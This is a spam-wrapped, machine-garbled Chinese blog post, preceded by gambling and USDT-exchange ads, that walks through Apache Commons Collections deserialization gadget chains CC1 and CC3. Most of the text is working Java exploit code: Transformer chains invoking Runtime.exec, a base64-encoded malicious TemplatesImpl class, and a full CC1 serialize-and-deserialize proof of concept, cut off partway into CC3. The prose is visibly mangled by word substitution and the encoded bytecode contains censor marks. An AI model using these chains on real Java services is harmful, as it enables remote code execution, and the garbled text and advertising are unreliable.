欢迎进入环球UG官网(UG环球),环球UG官方网站:www.ugbet.us开放环球UG网址访问、环球UG会员注册、环球UG代理申请、环球UG电脑客户端、环球UG手机版下载等业务。

首页科技正文

usdt自动充提教程(www.caibao.it):CC‘链’ 1-7 剖析

admin2021-10-05156安全技术漏洞分析

U交所

U交所(www.payusdt.vip)是使用TRC-20协议<的>Usdt官方交易所,开放USDT帐号注册、usdt小额交易、usdt线下现金交易、usdt实名不实名交易、usdt场外担保交易<的>平台。免费提供场外usdt承兑、低价usdt渠道、Usdt提币免手续费、Usdt交易免手续费。U交所开放usdt otc API接口、支付回调等接口。

一、简介

Apache Commons 是对 JDK <的>拓展,包罗了许多开源<的>工具,用于解决平时编程经常会遇到<的>问题。Apache Commons {当 中[有一个组件叫}做 Apache Commons Collections,封装了 Java <的> Collection 相关类工具。

CC链 编写<的>是《「测试」》代码,和 ysoserial 中[<的>稍有差异。 下面<的>是经常用到<的> 异常主要 <的>Transformer 接口<的>实现类。

1.1 ConstantTransformer

Transformer 接口<的>实现类,并重写了其接口类<的> transform ({「(『方』式)」})。其 transform ({「(『方』式)」})作用是获取一个工具类型, 要[害代码如下:

public class ConstantTransformer implements Transformer, Serializable {
    static final long serialVersionUID = 6374440726369055124L;
    public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
    private final Object iConstant;

    //<{组织函}数>
    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    //重写<的> transform ({「(『方』式)」}),获取一个工具类型
    public Object transform(Object input) {
        return this.iConstant;
    }

}

1.2 InvokerTransformer

Transformer 接口<的>实现类,并重写了其接口类<的> transform ({「(『方』式)」})。其 transform ({「(『方』式)」})作用是反射挪用指定<的>({「(『方』式)」})并返回({「(『方』式)」})挪用效果, 要[害代码如下:

public class InvokerTransformer implements Transformer, Serializable {
    static final long serialVersionUID = -8653385846894047688L;
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;

    //<{组织函}数>
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    //重写<的> transform ({「(『方』式)」}),反射挪用指定<的>({「(『方』式)」})并返回({「(『方』式)」})挪用效果
    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch …………
        }
    }
}

《「测试」》:

// 《「测试」》 InvokerTransformer
public class Test {
    public static void main(String[] args) {
        Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        transformer.transform(Runtime.getRuntime());
    }
}

,,,输出
【弹出盘算器】

1.3 InstantiateTransformer

Transformer 接口<的>实现类,并重写了其接口类<的> transform ({「(『方』式)」})。其 transform ({「(『方』式)」})作用是反射挪用<{组织函}数>将类【实】例化, 要[害代码如下:

public class InstantiateTransformer implements Transformer, Serializable {
    static final long serialVersionUID = 3786388740793356347L;
    public static final Transformer NO_ARG_INSTANCE = new InstantiateTransformer();
    private final Class[] iParamTypes;
    private final Object[] iArgs;

    //<{组织函}数>
    public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    //重写<的> transform ({「(『方』式)」}),反射挪用<{组织函}数>将类【实】例化。
    public Object transform(Object input) {
        Constructor con = ((Class)input).getConstructor(this.iParamTypes);
        return con.newInstance(this.iArgs);
    }

《「测试」》:

// Student 类
public class Student {
    public Student(String name) {
        System.out.println("学生姓名:" + name);
    }
}

// 《「测试」》 InstantiateTransformer
public class Test {
    public static void main(String[] args) {
        Transformer instantiateTransformer = new InstantiateTransformer(new Class[]{String.class}, new Object[]{"小明"});
        instantiateTransformer.transform(Student.class);
    }
}

,,,输出
学生姓名:小明

Process finished with exit code 0

1.4 ChainedTransformer

Transformer 接口<的>实现类,并重写了其接口类<的> transformer ({「(『方』式)」})。其 transform ({「(『方』式)」})作用是实现数组链式挪用。我们只需传入一个 Transformer[] 给 ChainedTransformer,然后执行 ChainedTransformer <的> transform ({「(『方』式)」})便可以链式挪用 Transformer[] 中[每个 Transformer <的> transform ({「(『方』式)」})。 要[害代码如下:

public class ChainedTransformer implements Transformer, Serializable {
    static final long serialVersionUID = 3514945074733160196L;
    private final Transformer[] iTransformers;

    //<{组织函}数>
    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

    //重写<的> transform ({「(『方』式)」}),链式挪用  Transformer[]  中[每个 Transformer <的> transform ({「(『方』式)」})
    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }
}

《「测试」》:(很主要 行使 ChainedTransformer 实现 Runtime.getRuntime().exec("calc") )

// 《「测试」》 ChainedTransformer
public class Test {
    public static void main(String[] args) {
        //Transformer数组
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //ChainedTransformer【实】例
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform("test");
    }
}

,,,输出
【弹出盘算器】

那么我们若何触发 ChainedTransformer <的> transform ({「(『方』式)」})呢?这就引出了 LazyMap 类。

1.5 LazyMap(主要)

其 get ({「(『方』式)」}) 中[可以触发 ChainedTransformer <的> transform ({「(『方』式)」})。

public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
    private static final long serialVersionUID = 7990956402564206740L;
    protected final Transformer factory;

    //可控制 factory 为 ChainedTransformer
    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        } else {
            this.factory = factory;
        }
    }

    //行使 get ({「(『方』式)」})可实现挪用 ChainedTransformer,transform()
    public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            //『要害』点
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }
}

《「测试」》:

// 《「测试」》 LazyMap
public class Test {
    public static void main(String[] args) {
        //Transformer数组
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //ChainedTransformer【实】例
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        Map uselessMap = new HashMap();
        Map lazyMap = LazyMap.decorate(uselessMap, chainedTransformer);
        lazyMap.get("test");
    }
}

,,,输出
【弹出盘算器】

那么若何反序列化时触发 LazyMap <的> get ({「(『方』式)」})呢?下面 CC 链 中[将会先容几种触发 LazyMap,get <的>({「(『方』式)」})。

1.6 TemplatesImpl(主要)

这个类不在 Apache Commons Collections 中[。然则 TemplatesImpl 这个类很特殊,我们可以借助其动态加载包罗恶意<的>字节码,部门简化代码如下:

public final class TemplatesImpl implements Templates, Serializable {

    private String _name = null;
    private byte[][] _bytecodes = null;
    private transient TransformerFactoryImpl _tfactory = null;

    //要害({「(『方』式)」}):newTransformer()
    public synchronized Transformer newTransformer()
                throws TransformerConfigurationException
            {
                TransformerImpl transformer;
                // 『要害』点,挪用 getTransletInstance()
                transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                    _indentNumber, _tfactory);
            }


    // 继续跟进[ getTransletInstance() ({「(『方』式)」}):
    private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            //先判断是否为 null,(若是)为 null <的>话去加载字节码,紧接着 newInstance() 对实在例化。
            if (_class == null) defineTransletClasses();

            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            …………
            }
    }

    // 继续跟进[ defineTransletClasses() ({「(『方』式)」}):
    private void defineTransletClasses()
        throws TransformerConfigurationException {
        …………
        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader());
                }
            });
        …………
            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);  //『要害』点
                final Class superClass = _class[i].getSuperclass();
            }
        }

    // 继续跟进[ TransletClassLoader,这个类里重写了 defineClass ({「(『方』式)」})
    static final class TransletClassLoader extends ClassLoader {
        TransletClassLoader(ClassLoader parent) {
            super(parent);
        }

        Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);   //『要害』点
        }
    }

}

恶意字节码<的>天生:
HelloTemplatesImpl.java,主要其必须继续 AbstractTranslet 类,

// HelloTemplatesImpl.java
public class HelloTemplatesImpl extends AbstractTranslet {

    public HelloTemplatesImpl() {
        super();
        try{
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

我们将其编译为 HelloTemplatesImpl.class,然后举行 Base64 编码,获得如下效果:

yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWx *** 1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWx *** 1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj

《「测试」》 TemplatesImpl:

// 《「测试」》 TemplatesImpl
public class Test {

    //‘〖反射设〗置’ Field
    public static void setFieldValue(Object object, String fieldName, Object value) {
        try {
            Field field = object.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(object, value);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws TransformerConfigurationException {
        //恶意字节码
        byte[] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWx *** 1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWx *** 1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");

        //‘〖反射设〗置’ Field
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        templates.newTransformer();
    }
}

,,,输出效果
【弹出盘算器】

以是我们只需传入恶意字节码给 TemplatesImpl,{然}后挪用其 newTransformer ({「(『方』式)」})。那么有没有类可以挪用 TemplatesImpl.newTransformer(),这里先先容一个组织 CC3 中[将会用到<的>类 TrAXFilter,下面是其<{组织函}数>:

public class TrAXFilter extends XMLFilterImpl {

    //<{组织函}数>
    public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();    //『要害』点
        …………
    }
}

《「测试」》 TrAXFilter:

// 《「测试」》 TrAXFilter
public class Test {

    //‘〖反射设〗置’ Field
    public static void setFieldValue(Object object, String fieldName, Object value) {
        try {
            Field field = object.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(object, value);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws TransformerConfigurationException {
        //字节码
        byte[] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWx *** 1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWx *** 1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");

        //‘〖反射设〗置’ Field
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        Transformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        instantiateTransformer.transform(TrAXFilter.class);
    }
}

,,,输出
【弹出盘算器】

二、CC1

通过 AnnotationInvocationHandler 『类触发』 LazyMap <的> get ({「(『方』式)」})。
简化版 AnnotationInvocationHandler 类<的>代码:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    //<{组织函}数>,可传入 LazyMap
    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        this.type = var1;
        this.memberValues = var2;
    }

    //行使 invoke ({「(『方』式)」})可实现挪用 LazyMap,get
    public Object invoke(Object var1, Method var2, Object[] var3) {
        Object var6 = this.memberValues.get(var4);
    }
}

AnnotationInvocationHandler 类 readObject ({「(『方』式)」})代码:『要害』点在 this.memberValues.entrySet() ,这里我们可以为 memberValues 传入一个署理工具。通过 java <的>动态署理机制,使其最终触发 AnnotationInvocationHandler 类<的> invoke ({「(『方』式)」}),从而实现触发 LazyMap.get()。

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMi *** atchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

《「测试」》环境:3.1-3.2.1 jdk版本小于u71

package Apache_Common_Collections.cc_1_7;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {

    public static void main(String[] args) {

        //Transformer数组
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //ChainedTransformer【实】例
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        //LazyMap【实】例
        Map uselessMap = new HashMap();
        Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);

        try {
            //反射获取AnnotationInvocationHandler【实】例
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
            constructor.setAccessible(true);
            InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

            //动态署理类,‘设置一’个D署理工具,(为了触发) AnnotationInvocationHandler,invoke           
            Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);

            InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);

            //序列化
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(handler1);
            oos.flush();
            oos.close();

            //《「测试」》反序列化
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bais);
            ois.readObject();
            ois.close();

        } catch (Exception e) {
            e.printStackTrace();
        }

    }

}

大要挪用栈:

->AnnotationInvocationHandler.readObject()
      ->mapProxy.entrySet().iterator()  //动态署理类
          ->AnnotationInvocationHandler.invoke()
            ->LazyMap.get()
                ->ChainedTransformer.transform()
                ->ConstantTransformer.transform()
                    ->InvokerTransformer.transform()
                    ->…………

三、CC3

《「测试」》环境:3.1-3.2.1,jdk7u21及以前

对 CC1 举行了一些修改。引入了 TemplatesImpl (来加载字节码),去掉了 InvokerTransformer ,引入了 InstantiateTransformer。TemplatesImpl、InstantiateTransformer、TrAXFilter 上面1.6已经先容了,这里不再赘述。若何通过 AnnotationInvocationHandler.readObject() 来触发 LazyMap.get() 也「与」上面<的> CC1 一致。

public class CommonsCollections3 {

    public static void main(String[] args) {

        try{
            //字节码
            byte[] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWx *** 1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWx *** 